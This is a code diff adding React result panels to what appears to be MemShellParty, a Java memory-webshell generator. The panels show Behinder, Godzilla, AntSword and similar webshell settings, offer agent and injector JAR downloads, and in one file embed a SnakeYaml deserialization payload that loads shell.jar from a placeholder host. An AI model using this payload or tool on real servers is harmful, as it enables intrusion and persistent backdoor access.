feat: support fumadocs

web/app/components/memshell/results/agent.tsx

@@ -0,0 +1,84 @@
+import { ScrollTextIcon } from "lucide-react";
+import { useTranslation } from "react-i18next";
+import { Button } from "@/components/ui/button";
+import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
+import { Separator } from "@/components/ui/separator";
+import { downloadBytes, formatBytes } from "@/lib/utils";
+import type { MemShellResult } from "@/types/memshell";
+
+export function AgentResult({
+  packMethod,
+  packResult,
+  generateResult,
+}: Readonly<{
+  packMethod: string;
+  packResult: string;
+  generateResult?: MemShellResult;
+}>) {
+  const { t } = useTranslation(["common"]);
+  const isPureAgent = packMethod === "AgentJar";
+  return (
+    <Card>
+      <CardHeader>
+        <CardTitle className="text-md flex items-center gap-2">
+          <ScrollTextIcon className="h-5" />
+          <span>{t("common:usage")}</span>
+        </CardTitle>
+      </CardHeader>
+      <CardContent>
+        <ol className="list-decimal list-inside space-y-4 text-sm">
+          <li className="flex items-center justify-between">
+            <span>
+              {t("common:download")} MemShellAgent.jar (
+              {formatBytes(atob(packResult).length)})
+            </span>
+            <Button
+              size="sm"
+              variant="outline"
+              className="w-28"
+              type="button"
+              onClick={() =>
+                downloadBytes(
+                  packResult,
+                  undefined,
+                  `${generateResult?.shellConfig.server}${generateResult?.shellConfig.shellTool}MemShellAgent`,
+                )
+              }
+            >
+              {t("common:download")}
+            </Button>
+          </li>
+          {isPureAgent && (
+            <li className="flex items-center justify-between">
+              <span>{t("memshell:tips.download-jattach")}</span>
+              <Button
+                size="sm"
+                variant="outline"
+                className="w-28"
+                type="button"
+                onClick={() =>
+                  window.open("https://github.com/jattach/jattach/releases")
+                }
+              >
+                {t("common:download")}
+              </Button>
+            </li>
+          )}
+          <Separator />
+          <li>
+            {isPureAgent
+              ? t("memshell:tips.agent-move-to-target")
+              : t("memshell:tips.agent-move-to-target1")}
+          </li>
+          <li>{t("memshell:tips.get-pid")}</li>
+          <li>
+            {isPureAgent
+              ? t("memshell:tips.execute-command")
+              : t("memshell:tips.execute-command1")}
+          </li>
+          <li>{t("memshell:tips.try-to-use-shell")}</li>
+        </ol>
+      </CardContent>
+    </Card>
+  );
+}

web/app/components/memshell/results/basic-info.tsx

@@ -0,0 +1,195 @@
+import { FileTextIcon } from "lucide-react";
+import { useTranslation } from "react-i18next";
+import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
+import { Separator } from "@/components/ui/separator";
+import { shouldHidden } from "@/lib/utils";
+import {
+  type AntSwordShellToolConfig,
+  type BehinderShellToolConfig,
+  type CommandShellToolConfig,
+  type GodzillaShellToolConfig,
+  type MemShellResult,
+  type NeoreGeorgShellToolConfig,
+  ShellToolType,
+  type Suo5ShellToolConfig,
+} from "@/types/memshell";
+import { CopyableField } from "../../copyable-field";
+import { FeedbackAlert } from "./feedback-alert";
+
+export function BasicInfo({
+  generateResult,
+}: Readonly<{ generateResult?: MemShellResult }>) {
+  const { t } = useTranslation(["memshell", "common"]);
+  return (
+    <Card>
+      <CardHeader>
+        <CardTitle className="flex items-center justify-between">
+          <div className="text-md flex items-center gap-2">
+            <FileTextIcon className="h-5" />
+            <span>{t("common:basicInfo")}</span>
+          </div>
+          <FeedbackAlert />
+        </CardTitle>
+      </CardHeader>
+      <CardContent>
+        <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+          <CopyableField
+            label={t("common:server")}
+            text={generateResult?.shellConfig.server}
+          />
+          <CopyableField
+            label={t("mainConfig.shellTool")}
+            text={generateResult?.shellConfig.shellTool}
+          />
+          <CopyableField
+            label={t("mainConfig.shellMountType")}
+            text={generateResult?.shellConfig.shellType}
+          />
+          {!shouldHidden(generateResult?.shellConfig?.shellType) && (
+            <CopyableField
+              label={t("mainConfig.urlPattern")}
+              text={generateResult?.injectorConfig.urlPattern}
+              value={generateResult?.injectorConfig.urlPattern}
+            />
+          )}
+        </div>
+        {generateResult?.shellConfig.shellTool !== ShellToolType.Custom && (
+          <Separator className="my-1" />
+        )}
+        <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+          {generateResult?.shellConfig.shellTool === ShellToolType.Behinder && (
+            <>
+              <CopyableField
+                label={t("shellToolConfig.behinderScriptType")}
+                text="jsp"
+              />
+              <CopyableField
+                label={t("shellToolConfig.behinderEncryptType")}
+                text={t("shellToolConfig.behinderDefaultEncryptType")}
+              />
+              <CopyableField
+                label={t("shellToolConfig.behinder.pass")}
+                text={
+                  (generateResult?.shellToolConfig as BehinderShellToolConfig)
+                    .pass
+                }
+                value={
+                  (generateResult?.shellToolConfig as BehinderShellToolConfig)
+                    .pass
+                }
+              />
+              <CopyableField
+                label={t("shellToolConfig.behinder.header")}
+                text={`${(generateResult?.shellToolConfig as BehinderShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as BehinderShellToolConfig).headerValue}`}
+                value={`${(generateResult?.shellToolConfig as BehinderShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as BehinderShellToolConfig).headerValue}`}
+              />
+            </>
+          )}
+          {generateResult?.shellConfig.shellTool === ShellToolType.Godzilla && (
+            <>
+              <CopyableField
+                label={t("shellToolConfig.godzilla.pass")}
+                text={
+                  (generateResult?.shellToolConfig as GodzillaShellToolConfig)
+                    .pass
+                }
+                value={
+                  (generateResult?.shellToolConfig as GodzillaShellToolConfig)
+                    .pass
+                }
+              />
+              <CopyableField
+                label={t("shellToolConfig.godzilla.key")}
+                text={
+                  (generateResult?.shellToolConfig as GodzillaShellToolConfig)
+                    .key
+                }
+                value={
+                  (generateResult?.shellToolConfig as GodzillaShellToolConfig)
+                    .key
+                }
+              />
+              <CopyableField
+                label={t("shellToolConfig.godzilla.encryptor")}
+                text="JAVA_AES_BASE64"
+              />
+              <CopyableField
+                label={t("shellToolConfig.godzilla.header")}
+                text={`${(generateResult?.shellToolConfig as GodzillaShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as GodzillaShellToolConfig).headerValue}`}
+                value={`${(generateResult?.shellToolConfig as GodzillaShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as GodzillaShellToolConfig).headerValue}`}
+              />
+            </>
+          )}
+          {generateResult?.shellConfig.shellTool === ShellToolType.Command && (
+            <CopyableField
+              label={t("common:paramName")}
+              text={
+                (generateResult?.shellToolConfig as CommandShellToolConfig)
+                  .paramName
+              }
+              value={
+                (generateResult?.shellToolConfig as CommandShellToolConfig)
+                  .paramName
+              }
+            />
+          )}
+          {generateResult?.shellConfig.shellTool === ShellToolType.Suo5 && (
+            <CopyableField
+              label={t("shellToolConfig.suo5Header")}
+              text={`${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerValue}`}
+              value={`${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as Suo5ShellToolConfig).headerValue}`}
+            />
+          )}
+          {generateResult?.shellConfig.shellTool === ShellToolType.AntSword && (
+            <>
+              <CopyableField
+                label={t("shellToolConfig.antSword.pass")}
+                text={
+                  (generateResult?.shellToolConfig as AntSwordShellToolConfig)
+                    .pass
+                }
+                value={
+                  (generateResult?.shellToolConfig as AntSwordShellToolConfig)
+                    .pass
+                }
+              />
+              <CopyableField
+                label={t("shellToolConfig.httpHeader")}
+                text={`${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerValue}`}
+                value={`${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerValue}`}
+              />
+            </>
+          )}
+          {generateResult?.shellConfig.shellTool ===
+            ShellToolType.NeoreGeorg && (
+            <>
+              <CopyableField
+                label={t("shellToolConfig.neoreGeorgKey")}
+                text="key"
+                value="key"
+              />
+              <CopyableField
+                label={t("shellToolConfig.neoreGeorgHeader")}
+                text={`${(generateResult?.shellToolConfig as NeoreGeorgShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as NeoreGeorgShellToolConfig).headerValue}`}
+                value={`${(generateResult?.shellToolConfig as NeoreGeorgShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as NeoreGeorgShellToolConfig).headerValue}`}
+              />
+            </>
+          )}
+        </div>
+        <Separator className="my-1" />
+        <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+          <CopyableField
+            label={t("mainConfig.injectorClassName")}
+            value={generateResult?.injectorClassName}
+            text={`${generateResult?.injectorClassName} (${generateResult?.injectorSize} bytes)`}
+          />
+          <CopyableField
+            label={t("mainConfig.shellClassName")}
+            value={generateResult?.shellClassName}
+            text={`${generateResult?.shellClassName} (${generateResult?.shellSize} bytes)`}
+          />
+        </div>
+      </CardContent>
+    </Card>
+  );
+}

web/app/components/memshell/results/feedback-alert.tsx

@@ -0,0 +1,50 @@
+import { CircleHelpIcon } from "lucide-react";
+import { useTranslation } from "react-i18next";
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogTitle,
+  AlertDialogTrigger,
+} from "@/components/ui/alert-dialog";
+import { Button } from "@/components/ui/button";
+
+export function FeedbackAlert() {
+  const { t } = useTranslation("memshell");
+  return (
+    <AlertDialog>
+      <AlertDialogTrigger asChild>
+        <Button variant="outline" type="button">
+          <CircleHelpIcon /> {t("shellNotWork.title")}
+        </Button>
+      </AlertDialogTrigger>
+      <AlertDialogContent>
+        <AlertDialogHeader>
+          <AlertDialogTitle>{t("shellNotWork.title")}</AlertDialogTitle>
+          <AlertDialogDescription>
+            <ol>
+              <li>{t("shellNotWork.step1")}</li>
+              <li>{t("shellNotWork.step2")}</li>
+            </ol>
+          </AlertDialogDescription>
+        </AlertDialogHeader>
+        <AlertDialogFooter>
+          <AlertDialogCancel>{t("common:cancel")}</AlertDialogCancel>
+          <AlertDialogAction
+            onClick={() =>
+              window.open(
+                "https://github.com/ReaJason/MemShellParty/issues/new?template=%E5%86%85%E5%AD%98%E9%A9%AC%E7%94%9F%E6%88%90-bug-%E4%B8%8A%E6%8A%A5.md",
+              )
+            }
+          >
+            {t("common:feedback")}
+          </AlertDialogAction>
+        </AlertDialogFooter>
+      </AlertDialogContent>
+    </AlertDialog>
+  );
+}

web/app/components/memshell/results/jar-result.tsx

@@ -0,0 +1,79 @@
+import { ScrollTextIcon } from "lucide-react";
+import { useTranslation } from "react-i18next";
+import CodeViewer from "@/components/code-viewer";
+import { Button } from "@/components/ui/button";
+import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
+import { Separator } from "@/components/ui/separator";
+import { downloadBytes, formatBytes } from "@/lib/utils";
+import type { MemShellResult } from "@/types/memshell";
+
+export function JarResult({
+  packMethod,
+  packResult,
+  generateResult,
+}: Readonly<{
+  packMethod: string;
+  packResult: string;
+  generateResult?: MemShellResult;
+}>) {
+  const { t } = useTranslation();
+  const isPureJar = packMethod === "Jar";
+  return (
+    <Card>
+      <CardHeader>
+        <CardTitle className="text-md flex items-center gap-2">
+          <ScrollTextIcon className="h-5" />
+          <span>{t("common:usage")}</span>
+        </CardTitle>
+      </CardHeader>
+      <CardContent>
+        <ol className="list-decimal list-inside space-y-4 text-sm">
+          <li className="flex items-center justify-between">
+            <span>
+              {t("common:download")} shell.jar (
+              {formatBytes(atob(packResult).length)})
+            </span>
+            <Button
+              size="sm"
+              variant="outline"
+              className="w-28"
+              type="button"
+              onClick={() =>
+                downloadBytes(
+                  packResult,
+                  undefined,
+                  `${generateResult?.shellConfig.server}${generateResult?.shellConfig.shellTool}MemShell`,
+                )
+              }
+            >
+              {t("common:download")}
+            </Button>
+          </li>
+          <Separator />
+          {isPureJar ? (
+            <>
+              <li>{t("memshell:tips.download-jar")}</li>
+              <li>{t("memshell:tips.trigger-injector-class-loading")}</li>
+            </>
+          ) : (
+            <>
+              <li>{t("memshell:tips.download-jar")}</li>
+              <li>{t("memshell:tips.load-jar-with-scriptenginemanager")}</li>
+              <CodeViewer
+                code={`!!javax.script.ScriptEngineManager [
+  !!java.net.URLClassLoader [[
+    !!java.net.URL ["http://yourhost/shell.jar"]
+  ]]
+]`}
+                language="java"
+                showLineNumbers={false}
+                wrapLongLines={true}
+                header={<div className="text-xs">SnakeYaml Payload</div>}
+              />
+            </>
+          )}
+        </ol>
+      </CardContent>
+    </Card>
+  );
+}

web/app/components/memshell/results/multi-packer.tsx

@@ -0,0 +1,128 @@
+import { DownloadIcon } from "lucide-react";
+import { useEffect, useState } from "react";
+import { useTranslation } from "react-i18next";
+import CodeViewer from "@/components/code-viewer";
+import { Button } from "@/components/ui/button";
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from "@/components/ui/select";
+import { base64ToBytes, downloadBytes, downloadContent } from "@/lib/utils";
+
+export function MultiPackResult({
+  allPackResults,
+  packMethod,
+  shellClassName,
+  height = 350,
+}: Readonly<{
+  allPackResults: object | undefined;
+  packMethod: string;
+  shellClassName?: string;
+  height?: number;
+}>) {
+  const showCode = packMethod === "JSP";
+  const { t } = useTranslation();
+  const packMethods = Object.keys(allPackResults ?? {});
+
+  const [selectedMethod, setSelectedMethod] = useState(packMethods[0]);
+  const [packResult, setPackResult] = useState(
+    allPackResults?.[selectedMethod as keyof typeof allPackResults] ?? "",
+  );
+
+  useEffect(() => {
+    const newPackMethods = Object.keys(allPackResults ?? {});
+    if (!newPackMethods.includes(selectedMethod)) {
+      const newSelectedMethod = newPackMethods[0];
+      setSelectedMethod(newSelectedMethod);
+      setPackResult(
+        allPackResults?.[newSelectedMethod as keyof typeof allPackResults] ??
+          "",
+      );
+    } else {
+      setPackResult(
+        allPackResults?.[selectedMethod as keyof typeof allPackResults] ?? "",
+      );
+    }
+  }, [allPackResults, selectedMethod]);
+
+  const handleDownload = () => {
+    const fileName =
+      shellClassName?.substring(shellClassName?.lastIndexOf(".") ?? 0) ?? "";
+    if (packMethod === "JSP") {
+      const fileExtension = selectedMethod.includes("JSPX") ? ".jspx" : ".jsp";
+      const content = new Blob([packResult], { type: "text/plain" });
+      return downloadContent(content, fileName, fileExtension);
+    } else if (
+      packMethod === "JavaDeserialize" ||
+      packMethod.includes("Hessian")
+    ) {
+      const content = new Blob([base64ToBytes(packResult)], {
+        type: "application/octet-stream",
+      });
+      return downloadContent(content, fileName, ".data");
+    } else if (packMethod === "Base64") {
+      const base64Content =
+        allPackResults?.[
+          Object.keys(allPackResults)[0] as keyof typeof allPackResults
+        ] ?? "";
+      return downloadBytes(base64Content, shellClassName);
+    }
+  };
+
+  return (
+    <CodeViewer
+      code={packResult ?? ""}
+      header={
+        <div className="flex items-center justify-between text-xs gap-2">
+          <Select
+            onValueChange={(value) => {
+              setSelectedMethod(value);
+              setPackResult(
+                allPackResults?.[value as keyof typeof allPackResults] ?? "",
+              );
+            }}
+            value={selectedMethod}
+          >
+            <SelectTrigger className="h-7 text-xs [&_svg]:h-4 [&_svg]:w-4">
+              <span className="text-muted-foreground">
+                {t("common:packerMethod")}:&nbsp;
+              </span>
+              <SelectValue />
+            </SelectTrigger>
+            <SelectContent>
+              {packMethods.map((method) => (
+                <SelectItem key={method} value={method} className="text-xs">
+                  {method}
+                </SelectItem>
+              ))}
+            </SelectContent>
+          </Select>
+          <span className="text-muted-foreground">({packResult?.length})</span>
+        </div>
+      }
+      button={
+        packMethod === "JSP" ||
+        packMethod === "Base64" ||
+        packMethod === "JavaDeserialize" ||
+        packMethod.includes("Hessian") ? (
+          <Button
+            variant="ghost"
+            size="icon"
+            type="button"
+            className="h-7 w-7 [&_svg]:h-4 [&_svg]:w-4"
+            onClick={handleDownload}
+          >
+            <DownloadIcon className="h-4 w-4" />
+          </Button>
+        ) : null
+      }
+      wrapLongLines={!showCode}
+      showLineNumbers={showCode}
+      language={showCode ? "java" : "text"}
+      height={height}
+    />
+  );
+}

web/app/components/memshell/results/result-component.tsx

@@ -0,0 +1,68 @@
+import { useTranslation } from "react-i18next";
+import CodeViewer from "@/components/code-viewer";
+import type { MemShellResult } from "@/types/memshell";
+import { AgentResult } from "./agent";
+import { JarResult } from "./jar-result";
+import { MultiPackResult } from "./multi-packer";
+
+export function ResultComponent({
+  packResult,
+  allPackResults,
+  packMethod,
+  generateResult,
+}: Readonly<{
+  packResult: string | undefined;
+  allPackResults: Map<string, string> | undefined;
+  packMethod: string;
+  generateResult?: MemShellResult;
+}>) {
+  const showCode = packMethod === "JSP";
+  const isAgent = packMethod.startsWith("Agent");
+  const isJar = packMethod.endsWith("Jar");
+  const { t } = useTranslation();
+  if (allPackResults) {
+    return (
+      <MultiPackResult
+        allPackResults={allPackResults}
+        packMethod={packMethod}
+        shellClassName={generateResult?.injectorClassName}
+      />
+    );
+  }
+  if (isAgent) {
+    return (
+      <AgentResult
+        packMethod={packMethod}
+        packResult={packResult ?? ""}
+        generateResult={generateResult}
+      />
+    );
+  }
+  if (isJar) {
+    return (
+      <JarResult
+        packMethod={packMethod}
+        packResult={packResult ?? ""}
+        generateResult={generateResult}
+      />
+    );
+  }
+
+  return (
+    <CodeViewer
+      code={packResult ?? ""}
+      header={
+        <div className="flex items-center justify-between text-xs gap-2">
+          <span>
+            {t("common:packerMethod")}：{packMethod}
+          </span>
+          <span className="text-muted-foreground">({packResult?.length})</span>
+        </div>
+      }
+      wrapLongLines={!showCode}
+      showLineNumbers={showCode}
+      language={showCode ? "java" : "text"}
+      height={350}
+    />
+  );
+}